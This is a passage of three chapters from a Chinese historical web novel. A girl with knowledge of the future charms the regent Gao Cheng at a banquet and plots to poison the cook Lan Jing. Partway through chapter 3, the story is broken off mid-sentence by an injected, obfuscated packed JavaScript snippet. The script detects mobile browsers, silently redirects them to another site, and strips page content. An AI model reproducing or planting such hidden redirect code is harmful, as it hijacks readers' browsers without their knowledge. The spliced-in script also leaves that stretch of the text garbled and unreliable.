《邺下高台》 3. 第3章 看陈扶进来,陈元康父子皆松开了家妓,原本在高澄身侧弄姿的歌姬,也收敛了形骸。 陈元康一直崩着的心弦,现下更紧了——阿扶从未见过外人,更未参加过正式宴席,万一在贵人面前失了礼数,如何是好? 直到那小身影步履平稳地走到高澄前,像模像样地行了礼,声音清稚地道了句“陈扶问大将军安。”他才算稍稍松了口气。 高澄的目光在她被风吹得有些毛茸茸的额发上扫过,随口问:“冷不冷?” “不冷,”她笑回,语气还带着点小自豪,“我方才特意多添了件衣裳。” 言罢,她做了一个让陈元康,乃至留意那边动静的人都为之愕然的举动——向前挪了一小步挨住高澄,伸出小手,主动地握住了高澄搭在膝上的手,“是不是暖的?” 动作自然地仿佛他们本就这么亲近。 那一瞬间,陈元康清晰地看到,高澄的眉梢挑动了一下,眼底闪过一丝讶异,但随即,他便将手一翻,回握住了那只小手。 真感受了下,才低笑一声道:“嗯,确实不冷,你倒是很知冷热。” 陈元康暗自慨叹,善藏谨言慎行陪酒多时,也不过只得高澄几句疏淡的客套;阿扶童言无忌、举止天然,反倒能让高澄席间主动问起,还这么快就拉进了关系。 难道这就是佛家说得,人与人的缘法? 高澄握着那小手,继续逗孩子,“不霸着你阿耶了,还告我的状么?” 阿扶有些不好意思地低下头,“不......不告了。”悄悄抬眼瞄了高澄一眼,又补充了一句,“大将军,你真是一个好人。” “好人?”高澄松开她,不轻不重地在她额心点了下,引得小家伙下意识地闭了闭眼,“我可不是什么好人。” 侍从捧着食案进来,问主家陈元康:“女公子的食案摆......” 高澄截断道:“放这儿。” 侍从依他所指,将女公子的食案并在了他案侧。 上完菜后,陈扶扫过案上两只杯——一盅蜜水,一盅酪浆。她拿过一只新杯,用气声对侍从说了声“倒酒。” 侍从显然没料到小主人会有此请求,脱口确认:“女公子要酒?” 这一声在琵琶声歇的厅里显得格外清晰,引得大人们都侧目望来,自然也引来了紧挨着的高澄的目光。他把玩着酒樽,视线带上玩味。 “你会饮酒?” 小人儿摇摇头,纯然道,“可书上说,宾至则酒,以表敬意。如果很欢迎大将军,就该给大将军敬酒。” 高澄眼尾微弯,拿起自己的金樽,往她的小玉杯里倾了浅浅一个杯底。 “敬吧。” 小手捧着那小玉杯,像模像样举起来,高澄也端起酒樽与她一碰,并未饮,而是停在唇边,好整以暇地看着她。 小人儿学着大人模样,捧起杯子就仰头‘一饮而尽’。但显然低估了汾清的威力,小身板瞬间打了个激灵,她努力维持着表情,嘴角却不受控地往下撇,生动而可怜。 高澄喉间发出一声低沉的笑,这才将自己杯中的酒饮尽。 虽然被辣得眼泛水光,小人儿却还是牢记礼数,乖乖退回自己的食案前,规规矩矩跪坐席上,得了陈元康‘吃吧’的允准后,夹了片清笋小口小口、斯斯文文吃起来。 侍从附耳询问:“不用些奥肉么?女郎平日不是......” “不用,”陈扶轻声打断,“退下吧。” 看她已安然进食,高澄将目光重新投向持杯恭候的陈善藏,拾起了她进来之前的话题。 “善藏表字是什么?” 陈善藏忙举杯相敬,“回大将军,在下表字连忠。” “好字啊,”高澄抿口酒,随意道,“黄门侍郎还有个缺,帮我去看着小皇帝吧。” 陈善藏反应过来后,伏地大拜连连称谢表忠。 陈元康手中银箸险些滑落,惊喜来得太突然,太厚重——黄门侍郎,天子近臣,这是多少世家子弟都求之不得的清要之职! 然而狂喜之后,理智迅速回笼。 瞥眼高澄面上的酒晕,这般要职,竟在见善藏的第一面就随口而定?若是明日酒醒后大将军忘了今日之言,或是改了主意,岂非空欢喜一场...... “怎么?”高澄挑眉,直接点破了他的心思,“长猷觉着我是酒后戏言?放心,我没醉。” 他说着,手臂一伸将那歌姬重新揽回怀里,“你给我找的伴,都不肯陪我尽兴,我如何能醉?” 说罢也不管那歌姬连声告饶,将新倒满的酒凑她唇边,半是强迫地灌了下去,算是将这场人事安排定了音。 一直安静待着的陈扶,忽看向对面的陈元康,有些委屈地问道:“耶耶,为何阿兄有字,我却没有?” 正喜不自胜的陈元康,语气很是温和,“阿扶需行过笄礼,方可取字。” “何必拘那些虚礼,周礼还讲二十而冠呢,你不也给连忠早行了?” 高澄本是随口一说,谁知身侧那小人儿闻言,缓缓将小脑袋转向他,轻声道:“那大将军为我取一个小字吧。” 此言一出,陈家父子皆是一怔。 高澄也愣了下,饶有兴致地打量她,“哦?为何要我来取?” 小人儿认真解释道:“因为我听到父兄说,大将军发布的榜文和律法,”她顿住,眨眼搜索了下记忆,“‘辞旨宏丽’,所以大将军取的字,一定是最好的。” 那黑亮瞳仁里是纯稚的仰佩,这显然极大地取悦了高澄,他笑了两声,几乎未作思考,一个小字便脱口而出,“便叫你‘稚驹’,如何?” 稚驹,小马之意,陈元康看着自家孩子,实在也没看出哪里像匹小马。 “稚驹。”阿扶小声重复了一遍,弯着眼睛笑起来,“真好听。” 女儿心思单纯,只是为着和阿兄一般,多了个新名字而欢喜。但明白赐字深意的陈元康,内心早已掀起狂澜。 爱而字之也。 上者、长辈赐予小字,绝非简单赐字,而是一种庇护意味的联结。 更何况自魏晋以来,名士之间以示亲近,常以小名、小字相称。以后‘稚驹’这个小字,将比‘陈扶’这个大名更频繁地被使用。 高澄不仅会牢牢记住这个名字,更会在潜意识里,将他冠名的稚驹,视作需要自己格外照顾的小辈。 仿佛是为了印证他的判断,高澄心情颇佳地将案上的那盏荔枝膏,放在了陈扶的面前。 “吃吧,小稚驹。” 看着高澄将珍奇之食让给女儿,再瞧两人并肩而坐的景象,高澄身着朱红官服,阿扶套着红裲裆,那一大一小、一深一浅的两抹红色,和谐得宛若亲人。 一个念头如同投入水面的石子,在他心底漾开圈圈涟漪——阿扶若真得了大将军青眼,是不是能嫁入大将军府...... 越想越深,细盘算起来:高澄长子高孝瑜,只比阿扶小一岁半;次子高孝珩,其母可是太原王氏,可惜小了阿扶三岁;世子妃冯翊公主肚子里的——这个就罢了,莫说男女未知,便是男孩,原也高攀不上,何况年岁也不合适。最有望的还是高孝瑜...... 忽而失笑,他真是喝多了,阿扶才六岁,谈婚论嫁猴年马月的事,想这些虚无缥缈的未免也太早了。 思绪回转眼下,善藏做官的正事已定,不如趁着高澄心情尚佳,再抬朋友一手,也好还了那两人之前送的一百匹连珠孔雀罗和那箱子藏书。 他整顿神色,捧起酒杯,恭谨道:“前日听任胄说起,他出资修了座寺院,为公主殿下不日将诞下的嫡嗣祈福祝祷,可谓诚心至极。” 谁知高澄眼皮都未抬一下,“任胄?”略停顿,故作恍然道,“哦——就是那个贪污遭人弹劾,阿耶念旧情特赦的任胄?” “额......是。” “他不过百匹之俸,营造寺观大则费耗百十万,小则尚用三五万余,他何来此财?” “任胄家财本丰,乃累世之积。此番为给世孙献寺祈福,倾尽家资,可见其心之诚。” 高澄冷笑一声,“他物用陈设皆按王侯,日日在家宴客豪饮,那般动极奢豪,光靠家资恐怕不够吧?”凤目一凛,锐光直射陈元康,“你不就是他的常客,会不知晓?” 陈元康心下一沉,世子这句句带刀,连献寺这般大手笔的‘心意’都如此冷淡,莫不是真动了整贪的心思? 只得转移焦点道,“不仅任胄,祖珽此番也用了心。寺中所有楹联匾额,乃至为祈福所作骈文石碑,皆是他亲笔题写、巧手雕刻。” 他对好友祖珽之才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457192|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是很有信心的,上回祖珽在并州定国寺写得碑文,大丞相很是赞许,还因此免了其罪过,想必足以引高澄前去一观,说不好能被再次启用。 谁知高澄闻言,哼一声道,“弄璋弄瓦尚还不知,倒写了祷文,想来也不过是王孙王女皆宜的浮华之词,并未用心。”话锋一转,面上掠过讥诮,“不过你说他巧手,倒是确实。” 一旁正捧着碗的陈扶,忽从碗里抬起小脸,笑道,“是呢是呢,阿祖公手可巧啦!” 陈元康心头掠过不好的预感,还未及阻止,就见他那‘乖巧’女儿已转向高澄,兴致勃勃分享起来,“上回阿耶设宴,阿祖公去厨房拿酒,然后我的那个小金碗就不见啦!” “阿扶,休要胡言!” 傻孩子果然听不懂他为何斥责,不解道:“没有胡说呀,孙大娘说阿祖公走后,碗就不见了。她只好把我的小银碗送到西厢小厨房收好,再不敢放在前边啦。” 陈元康被噎得脸色青白交错,尴尬至极。 看着这位素来机敏的谋臣被自家女儿当众拆台,窘迫得无以复加,再想到方才在园中,小人儿建议小偷重罚,偷‘一只金碗’,就要打二百军棍、关十年大牢,原来是因为受过其害。 高澄先是低笑,越想越得趣,随即抚膝大笑起来。 忽又想起祖珽偷书,也曾害他在人前丢尽颜面,心头火‘噌’地冒上来,笑意收敛,对陈元康冷道:“祖珽此人,才学或有,然性贪太过!能在阿耶身边做个散参,已是便宜了他。长猷,吏部铨选当察其性,岂能只观其才?” 陈元康忙应道:“是,是,世子明鉴。” 罢了,从女儿歪打正着令高澄开怀,已知今夜不是帮朋友之机。 高澄见他恭顺,怒气稍平,心思转回了正题,“说到献寺,前日吏部郎崔季伦还向阿耶痛切陈词:只因小皇帝与阿耶、阿母皆崇信佛法,以致达官豪绅竞相建寺,平民百姓悉供沙门。邺下寺舍栉比,宝塔骈罗,已近三千。” 他引述着崔暹的话,语气激赏,“他言:释教本以清净为基,慈悲为主,岂能因荣身之欲而损国家?如此掘山穿地,殚竭府库,实乃废人工、害农务。” 稍作停顿,目光锁向陈元康,“此言可谓切中时弊,修《麟趾格》时,我便觉此人恪尽职守,是个实干之才,可堪大用!” 陈元康心中已然雪亮。 世子今日前来,哪里是来喝他珍藏的汾清,分明是被西来的那封密信激得雄心勃发,要强力推行他那严法肃纪的主张了。 而他儿子这黄门侍郎,也不是白给的。 “世子真慧眼识珠。” 陈元康顺意献策道,“不过,依臣浅见,委以大用前,还需再抬一抬季伦兄的威势。臣有一计......或可世子设席,等诸公皆在座时,让季伦兄目视上方缓步而进,臣便亲自上前,为其提衣裾,导引入席。” 他稍顿,观察了一下高澄的神色,继续道:“宴席之间,待行酒两巡,他便先行告退。届时朝臣亲见其与世子分庭抗礼,何人还敢不敬?季伦兄清傲刚直、不畏权贵之姿,亦能深入人心。” 高澄眼中精光闪动,抚掌笑回:“善!”向他倾身,更显亲密道,“长猷既肯如此,日后在朝中内外,定会多为他美言,助他立威吧?” 陈元康躬身一礼,恳切道:“世子欲澄清吏治,臣自当竭诚辅弼,岂敢惜身?” 高澄举杯与他对饮。 美酒下肚,更觉快意,今日这趟,不仅定了整顿朝纲的第一步,还认识了个讨喜的小玩意儿。这么想着,目光下意识去寻那抹红色。 小人儿并未在吃喝,竟是低着头,小心翼翼一下下抹着他衣摆上的酒渍,仿佛在完成一件顶顶重要的大事。 红衣愈发衬得那小手纤白,指尖却是孩童的肉感,他的心霎时被一种柔软击中。 恰在此时,一苍头奴疾步跑来,扑跪在高澄席前。 “禀世子!公主殿下刚刚诞下麟儿!是位王孙!” 满座一静,陈元康父子立刻高声道:“恭喜世子!贺喜世子!此乃天佑大魏,社稷之福啊!” 小人儿也抬头贺道:“恭喜大将军!” 反应过来的高澄起身大步往外走,行至门口,忽又回头看眼陈扶,对陈元康道: “来洗三礼时,把稚驹带上。”* 4. 第4章 西厢内,净瓶站在陈扶身后,将她那头乌黑发丝绾成垂挂髻。 “仙主真是厉害,”净瓶手上不停,嘴里也没停,“就见了一面,吃了顿饭,便能叫大将军点名邀去王孙的洗三礼!这般荣光,便是那些命妇也未必有呢!” 陈扶端坐镜前,目光落在镜中净瓶兴奋的眉眼上,唇角微扬,语气风轻云淡: “我与他本就是上界仙僚,共掌枢机。他的脾性喜好,我自了然于胸,能得他青眼,何足怪哉?” 声音稚嫩,语调却是超脱物外的平静。 净瓶连连点头:“仙主说得是极!” 看她满脸深以为然,陈扶不再言,任她将几支精致的珠玉金钗斜插入髻。 在净瓶、甘露面前,她必须维持‘神仙’的绝对威严,加深她们对此的笃信。至于所谓的了解高澄,虽没有什么上界记忆,但看过不少他的视频资料啊,也算是了解吧。 其实,她也没料到能这么快就去将军府,便是获赐小字,也属计划之外的收获。那夜步入厅堂时她想的,不过是将每个细节做到极致,捕捉每一丝可乘之机。 不对。 仅仅如此,恐怕还不够。 她看向镜中自己那张稚气的孩儿面,笑时乖巧,一旦不笑,便显得那么无辜可怜,谁又忍心对这样的孩子说‘不’呢?能得高澄如此照拂,这张脸怕是起了大用。 地狱局,但抽了个ssr皮肤,她在心里自嘲一笑。 门帘轻动,甘露悄步走来,从袖中取出一个小纸包,压低声音道:“女郎确定......这次就要用?” 陈扶从她指尖抽过那小包,“若能尽早除患,为何要等?” “就是!那厨子既是魔王转世,自然早一日解决早一日干净!” 陈扶没有理会净瓶,她站起身,理了理身上新制的锦缎襦裙,出了门。 走在廊下,她用指腹感受着内里粉末的细腻质感,眼神渐冷。 今日若有机会,便毒死那厨子了事。 她对杀人这件事,早已做好心理建设。反正任由历史发展下去,那厨子也不过是多做八年的饭,再在杀死她阿耶和高澄后,被赶来的高洋剁成肉泥。 而她既然生此乱世,便也做不得什么良人。 穿过连接西厢与正院的回廊,还未踏入中堂,争执声便已隐约传来,越近越是清晰。 她于虚掩的门缝前停步。 “我为何去不得?”李氏直着脖子瞪陈元康。 “你去什么!”陈元康很是不耐,“太原公、永安郡公、彭城王、高阳王.....去的都是王妃命妇,你与她们说什么?又能说什么?!” 李氏声音陡然拔高,“是!我比不得那些王妃!平日你嫌我上不得台面,不让我在贵人跟前露面,我认了!可你今天非要带阿扶去,你去了不得帮忙张罗啊?你能看得了孩子?还是你儿子能?她脾胃不好,若捡吃了不干净的东西......” “大将军府中婢仆众多,自有人看顾!” 若是平日,她必进去噎阿耶两句,但今天若插了嘴,阿母必坚定要去了。那她可就别想离开其视线半步,有一丝自由活动的可能。 陈扶后退一步,朝陈善藏所居的东屋走去。 二人出府时,奴仆正将一尊实心金观音搬上牛车,后面三辆大车,已被绫罗绸缎等装得满满当当。 陈家自然是极有钱的。 陈元康确有辅国之才、机略之能,不然也不能被高欢信重。但爱和祖珽、任胄之流厮混的人,私德又能高到哪里去?这些年他凭着大领导秘书这种机要之位,没少经营聚敛。 可惜便是再有本事弄来,也要有命享用才行。 陈善藏面露忧色,看陈元康出来了,忙提醒道:“阿耶,世子前日宴席上,不是已明言要整贪了么?我们这般......是否太过扎眼?这不就是提醒世子,阿耶你......”他话未说尽,但意思明确——你送得出这么多金银布帛,岂能清白? 陈元康拍拍他肩膀道:“阿耶岂会不知?但若刻意简薄,反倒显得心虚矫饰,贪婪吝啬只进不出了。咱们家底如何,大王与世子会不知晓?这‘廉洁’牌坊,你阿耶我想立也立不住了,不如奉献出去,还能落个老实忠诚。” 车驾缓启,出长寿里,延漳河西行到大将军府。 秋晨初晞,时辰尚早,门口还没什么车架;府邸四门皆开,是迎客之意。 进院中,远远看到斗拱雄大、飞檐深远的主殿里,高澄正与一抱着襁褓的男人笑语。 那人一身寻常袍袴戎服,腰间并无金玉之饰,面上虽有久经风霜之痕,然眉目深峻,眸光如隼,笑时皓齿生辉,犹见龙虎精神。中年尚且如此,年轻时一定容颜绝佳。 墙内漆瓦金铛,银楹金柱;墙外风拂邺下,漳水汤汤。 目接此景,陈扶不禁神思摇荡——‘六镇华夷传露布,九龙风雨聚漳河’,当时读这句诗时,岂料竟有亲见高王的一日。 高欢身侧,还站着位肤色较深的青年,盯看着孩子,高澄不点他他不开口,不等陈扶猜测,就听阿耶对阿兄道:“答话那位是太原公。” 原来是高洋啊,陈扶笑笑,那这也不算丑啊,只是在华服玉带、肤白貌丽的高澄身旁,显得黯然了。 下车近前,渐闻笑语,高欢说得是鲜卑语,陈扶只能听懂几个词,因有晋阳、步落稽两词,想来是在遗憾孩子在晋阳的小叔们没能看到孩子。 再往里望,内室之中,女眷们言笑晏晏,目光都聚焦在中间之人身上,想那便是刚诞下麟儿的世子妃冯翊公主。公主看着年纪尚轻,面容俊秀,画着妆,但仍有虚弱之态。 群芳之中,一位风致清艳的少妇姿容尤为出众,陈扶猜测,她应是高洋之妻,那位以美貌著称的李祖娥。 眼前这幅画面,兄友弟恭,宗室和睦,怎么看都是一派天伦和乐之景。 然而,知晓这段历史走向的陈扶,很清楚这几个人的结局——遗憾的遗憾、疯的疯、惨的惨。 高欢玉璧受挫,抱憾撒手;高澄受禅前夕,横死厨子刀下。 高洋接受父兄政治遗产后,快刀斩乱麻,很快便逼东魏的孝静帝禅位,建立了北齐。追封父为北齐神武帝,兄为北齐文襄帝。 可惜他前明后昏,当了‘英雄天子’没几年,就开始纵酒肆欲,渐为癫狂。后来的高湛、高纬,统治更为昏邪残暴,期间杀侄欺嫂、有悖人伦之事不堪细思,内室那两位的遭遇更是不忍细言。 如果他们只是高家人互相戕害,陈扶才不会管。 可他们还诛剪良臣、辱杀臣妇、苦役百姓......整个邺下都在北齐的黑暗统治下风声鹤唳,人人自危,谁也不知道下一个被辱、被虐、被杀的是不是自己。如此二十八年后,北齐被西边的北周所灭,邺下尽焚,高台尽毁。 三国故地、六朝古都的邺城,至此在历史中湮灭。 先不论乱世的亡国之女会经历什么,单是在北齐统治下,会随机解锁什么遭遇,陈扶就不敢想。 高家最正常且最有能力将北齐引向正常的,真就只有高欢高澄父子。而以她臣女的身份,让高欢不去征玉璧太不现实,保高澄,则只需杀了那厨子即可。 袖口里捏着那包毒药的手,又紧了几分。 余光瞥见来人,高澄朝三人走来,陈元康忙将礼单并那三车礼物呈上。高澄目光在礼单上一扫,又瞥了眼那尊金光灿灿的观音像,似笑非笑地看了陈元康一眼,并未揶揄,只摆了摆手,示意侍从收下。 三人见高欢快步而来,齐齐躬身行礼。 高欢执住陈元康的手将他扶起,改换汉语道:“长猷来啦。”语气亲善熟稔,有如亲友、不似君臣。 转而端详 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看着小小的、红扑扑的婴儿,想着他原历史的凄惨结局,陈扶说出了最吉祥的话:“王孙小弟弟长得真好看呀,他的额头多圆呐,去岁有个游方道士来我家避雨,送给我一本画册子,上面就画有这样的额头呢,旁写着......”她故作回忆状,“珠庭日角,龙腾紫霄,额如覆肝,福寿双全。” 龙腾紫霄可是形容皇上的,那孙子都能当皇上,你高欢高澄不也是皇上? 果然,高欢与高澄闻言一怔,相视而笑。 高欢轻抚陈扶额角,“好孩子,阿公今天太忙,让阿耶帮帮阿公好不好?”陈扶乖巧应“好”。高欢将她交予侍立的女婢:“带孩子去园中摘个石榴吃——选个子大味甜的。” 女婢抱着她往出走,身后传来高澄的声音:“带她看看东苑新筑的曲水回廊,昨日刚贡来的那两对朱冠白鹤。” 一离开前殿,陈扶便对女婢软声道:“大将军府今日这般忙碌,姐姐一定累坏了,放我下来自己走罢。”那女婢闻言果然将她放下,揉着发酸的手腕笑道:“小娘子真是体贴人。” 二人沿青石板路往东苑行去,被牵着的陈扶不时抬眼细瞧,终‘忍不住’道,“姐姐长得像神妃仙子,真好看。大将军府的人,都像姐姐这般好看嘛?” 女婢被夸得颊生红云,也俯身端详起她来——乌发似墨,双瞳如漆,丹唇小口,骨质纤细;哪里都小小的,只那张脸白嫩圆润;虽和漂亮不沾边,但着实可爱,宛若年画里的玉童。 “小娘子也生得极好呢。” 刚到曲水回廊,陈扶便拉着她坐下,让她歇息。盯看她好一会儿后,拔下了自己髻上一只金簪。那簪身沉实,簪头嵌着鸽卵大的宝石。侍女见她要为自己簪上,慌道:“这如何使得......” “这簪子我戴着奇怪极了,还总是歪斜,”陈扶按住她轻拒的手,将金簪插入她髻上,“可在姐姐发间,倒是好看的紧。”边说边引她至廊边临水照影。 金簪在发间熠熠生辉,侍女目眩神迷,对着水镜左照右照,喃喃道:“是好看哈......” 正欣赏时,余光却瞥见小娘子皱眉曲身,紧捂住了腹部。 刚得了人家的好处,肯定要关心人家呀,奴婢赶紧问:“这是怎么了?女郎肚子痛?” 却见小女郎仰起惨白小脸,细声嗫嚅:“今晨出门匆忙,阿耶没给我吃早食......我脾胃素来不太好,饿不得,一饿就有点痛......” “这还了得!那咱们赶紧去摘个石榴垫垫——”话音戛然而止,人家给了她那么贵的东西,她就只按主子吩咐给人家摘个石榴?忙改口道:“空腹食酸更伤胃,不如奴婢带女郎去厨房?这个点灶上定有热腾腾的胡羹,喝一碗就不痛了。” 小女郎乖巧回:“都听姐姐的。” 待女婢起身看回前路,那张小脸上隐痛倏忽消散,唇角勾起笑意。 5.第5章 跟着女婢穿廊过门,来到大将军府东北隅的后厨。 应是宴客太多,不仅厨房在忙,院中也临时支起数个灶台,火舌吞吐,热浪混着香气扑面而来。 “庖厨之地外人不可进,女郎在这儿等我。” 女婢说罢,从墙边挪了把胡床支在树下,安顿陈扶坐好后,碎步趋至一位正尝菜的男人跟前,笑吟吟道:“薛苍头,小娘子晨起未食,求碗热羹暖暖肠胃。” 那苍头抬眼望来,和端坐的陈扶对了一眼,应道:“去吧!” 坐在胡床上的陈扶,目光已悄然巡弋于这片烟火之地。 她忆及兰京是南朝降将的历史描述,心中默析:配菜帮厨、司茶司酒直接排除;制髓饼、截饼、豚皮饼等饼类的,当为北人;烹鲤鱼者应来自黄河流域;炙蜊者是滨海而来;而炮制胡炮肉、羌煮、驼蹄羹的,无疑是鲜卑庖厨。 最终,她锁定两位正料理江南特色盐豉、时蔬与脍鱼莼羹的膳奴。其中一人干瘦、面目寻常,另一壮汉却面刺青色黥文,显然曾是俘虏。 那女婢已端着胡羹走了过来,蹲下捧着陶碗让她喝。陈扶喝了几口,软声道:“姐姐,能麻烦你帮我要碟盐豉来佐羹么?” 女婢应声而去,不多时取来个小碟,盛着乌亮泛光的盐豉。 陈扶将少许拌入胡羹,仔细尝过,眼睛倏地一亮,“比我家厨仆腌得滋味足多了。姐姐能否再帮我问问,这般入味的须酵多少时日?我好叫家仆依样学去。” 女婢面露难色:“这......我与那膳奴不甚相熟......”目光与楚楚央求的童眸撞上,“等着!我给你问去。”说着将已不烫的碗递至她手上,转身去寻那薛苍头。 薛苍头面露不耐,但还是喊了一嗓子:“兰京!你那黄豆须腌几日?” 正小口啜羹的陈扶,微微眯起了眼睛。 角落传来闷闷的回应:“春三日,夏二日,秋五日。” 那兰京忙得汗透衣襟,快步至水缸边舀起半瓢水,刚‘咚咚’灌了两口。薛苍头粗砺的呵斥声便在另头炸响:“休要偷懒!速速备膳!” 忙得脚不点地的仆役闻声愈疾,如工蚁穿梭,掰块冷饼、吃些羹肉便算进食,没有任何私人的、静止的时刻。 苍头坐镇,监工如织,每道肴馔出锅皆有专役尝菜试毒,所有人的所有行止皆在严密监看之下——在此间投毒,绝无可能。 怪不得身具膳食之便的兰京,刺杀高澄都是用刀而非用毒。 陈扶喝完最后一口,甜声道:“姐姐,我们回去吧。” 再回前院时,勋贵朝臣已来了不少,陈元康与高欢父子皆在院中迎候。 陈扶笑问那女婢:“姐姐在大将军府当差,想必认得很多大人物吧?” 看她果有得意之色,便顺势指向不远处——高澄很是礼敬,而阿耶亦刻意谦恭相待的那位,轻声探问:“那位气度不凡的是何人啊?” “那是吏部郎崔大人,近来可是府中常客呢。” 借着谈笑,陈扶默默将历史上的名字与眼前活生生的面孔一一对应。 未来北齐三杰之二的斛律光、段韶;此刻正作为高澄的亲信都督与表兄随侍在侧;高澄着力提携的汉臣集团,北地三才之流,也围绕在其身边。 与高欢谈笑的则多是鲜卑勋贵在朝子嗣,若干元氏宗亲,其中高澄之妹婿彭城郡王元韶,面容姣好如女子,在人群中尤为显眼。 高欢周旋其间,对汉说汉语,与鲜卑则操鲜卑语,切换自如,于人情真可谓游刃有余。 太阳渐高,金光铺满庭墀,忽闻正门外礼官高唱:“皇帝陛下驾到——” 众人齐齐望去,但见孝静帝元善见端坐步辇而来,容颜俊美,仪态沉雅。几对宫人捧炉执扇,拥着圣驾。 高澄看眼皇帝,又与紧随帝驾的一名侍郎交换了一个眼神,嘴角微不可察地一扬。 高欢忙整冠束带,趋步向前恭敬跪拜道,“陛下亲降宸舆,泽被府门,臣父子蒙此殊恩,诚惶诚恐。” 群臣见之,方随之黑压压跪倒一片,皆呼万岁。 帝含笑抬手:“爱卿快快请起。麟儿亦是朕之外甥。骨肉至亲,朕岂可不来?” 高欢这才谢恩起身,待众皆起身后,他竟去亲自扶孝静帝下辇,还捧过了宫人手里的香炉,亦步亦趋躬跟在皇帝身侧,执礼极为谦卑。 麾下众臣见丞相如此,亦纷纷对元善见堆起十二分的客气与笑容。 唯高澄敛容微哂,方才跪拜叩首,也比标准礼仪快上几分,幅度亦小了许多。 孝静帝于庭心驻足转身,手臂轻抬,指向正从府门外由宫人络绎抬入的朱漆大箱。 “开。” 随着天子一声令下,箱盖次第掀开,箱中锦灿云霞,绫皎如雪,匹匹绸缎流光溢彩,盈满庭院。 孝静帝看向高澄,温言道:“世子喜得贵子,乃国之大喜,特赐赠锦彩及布帛万匹,以贺世子弄璋之喜!” 此等重赏,加之权贵大臣们的贺礼,怕是十间屋子也放不下。 高澄躬身拱手,“臣谢......” ‘谢’字刚出口,对面站在皇帝侧后方的高欢,喉里发出了一声短促的轻咳。 高澄脸上闪过一丝极不耐的神情,但还是伏地叩首道:“陛下天恩,臣与公主感激涕零!然此赏过于厚重,臣子诞育乃家事小事,岂敢耗损国家府库至此?臣万万不敢接受,请陛下收回成命!” “世子此言差矣。世子乃国之栋梁,世子之子,便是国嗣,此赏非为私情,爱卿不必推辞。” 高澄看向高欢,其沉默本身就是一种指令:继续辞让。 后来的辞让,高澄语气明显带上了‘赶紧完成这个愚蠢流程’的简慢。三辞三让后,在孝静帝佯装‘不悦’和高欢的默许下,高澄才谢恩领受。 高欢趁势请皇帝参加洗三之礼,高澄用鲜卑语低声问了身旁的高洋一句,高欢立刻以鲜卑语厉声斥责,虽听不懂内容,但那表情看着,着实是动了气。 洗三仪式在接生婆的主持下进行。 堂内点香燃烛,先于正堂祭拜碧霞元君、豆疹娘娘等神灵,再入内室拜过床公床母。 祭拜完毕,亲友齐聚厅中围着一个彩绸环绕的大盆,女婢将备好的洗儿香汤注入。 先请孝静帝往盆里添一勺清水,再投下数枚金银钱,接生婆喜盈盈高喊:“清水沃盥,福泽绵长——” 高欢随之放入红枣、桂圆等喜果,高澄添的是金银锞子,随后,亲朋好友依次上前‘添盆’,吉祥物件叮咚入水,笑语不绝。 就在众人注意力皆被婴孩与仪式吸引时,一个小身影悄无声息退出正厅。 “桃树根、李树根、梅树根各二两,一洗无疥无疮......” 接生婆的声音渐远,陈扶一路避人,拐向东北。 悄步绕至后厨院落,却未踏入那喧闹之地,而是沿着外墙根阴影继续东行。不出数十步,便见一排低矮屋舍。 屋前绳上晾晒着数条麻布围裙,窗台下搁着磨刀石与几把厨刀——此必是膳奴居所无疑。 她无声凑近第一间屋子的直棂窗,用指尖蘸唾润破窗纸,屏息内望:屋内窄小、陈设简陋,土炕占据大半,炕边矮几上,摆着几只皮酒囊与粗陶罐。 方才她就在想,在分食制盛行的北朝,即便卑微如膳奴,私下应也保有各自的酒具私器,果然。 既无法在众目睽睽的厨房下毒,这私人饮具,便是唯一的可乘之机。 必须找出专属于兰京的那一个。 于是她开始从西往东,逐一窥探:第一间炕上扔着条马鞭。此人常接触马匹,兰京是南梁降将,或有可能,但不能断定。 第二间门槛旁散落着些艾草,显是屋主驱湿所用。兰京来自江南,邺城于他而言绝非需要艾草抵御的‘潮湿’,排除。 第三间矮几上的皮囊塞口糊着明显的白色奶渍。嗜饮奶酒,此乃鲜卑习俗,排除。 第四间屋内收拾得略显齐整,炕角矮几上,除寻常陶罐外,竟另有一只小巧的竹编茶罐。陈扶目光一凝:北人多讥茶为‘水厄’,唯有出身南朝的兰京,才会保留南国的饮茶之习。 但出于保险,她还是探查完了余下所有屋舍,才又返回此间,再细细望了望,才后退一步想观察门窗。 正盘算着如何潜入,脚跟忽觉一软,后背随即撞入一片温热硬朗里。 心头一沉,缓缓转身抬头,对上一张笑眯眯的年轻脸庞。 那青年生得一双微挑的细眼,嘴角天然上扬;一身干练的骑射胡服,头发以金环半披半束,发间坠着金线装饰的小辫子,更添不羁之色。 见陈扶看他,他也不言语,只背着手一小步一小步地朝前逼近,直将她迫得彻底抵上冰冷的土墙,再无退路。 陈扶心里虽慌,面上却维持着孩童的无辜与不解,余光飞快扫过他来的方向——房舍尽头还停着四辆牛车,牛车后是将军府东大门。 心下明了:这是刚进来的宾客,非府中之人。 “小娘子,”青年终于开口,眉梢眼角浸着笑意,眼神却如刀锋利,“这是要干嘛啊?” 陈扶岂会说实话,她垂下眼睫,细声应道:“我......我在寻更衣之所。” 青年俯身盯看她,眉梢一挑,“那你分不清东西啊,何时见过将厕屋建在东边的?” 陈扶也微挑眉,“我就是分不清东西,所以才迷路了呀。” “是么?”青年目光一凛,“这么说,你竟无奴仆引路?啊......看来并非宾客呀。”话音陡然转冷,“莫非是小偷?”出手如电,猛地扣住她手腕提起,另一只手便要搜身。 “吓死奴婢了!还当女郎走丢了呢!” 陈扶猛抽回手,迅速跑到快步赶来的女婢身后。 侍女见她小脸骇得惨白,忙为双方引见:“女郎莫怕,这位是永安郡公,是大将军的三弟。郡公,这是陈功曹陈大人家的女公子。” 永安郡公?高澄三弟?她对这人还真没什么了解,毕竟历史只是爱好,肯定是挑感兴趣的看,不可能对每个人物都深入研究。 那人眯起眼睛,又将她重新上下打量了遍,仿佛不能相信她是陈元康家的。 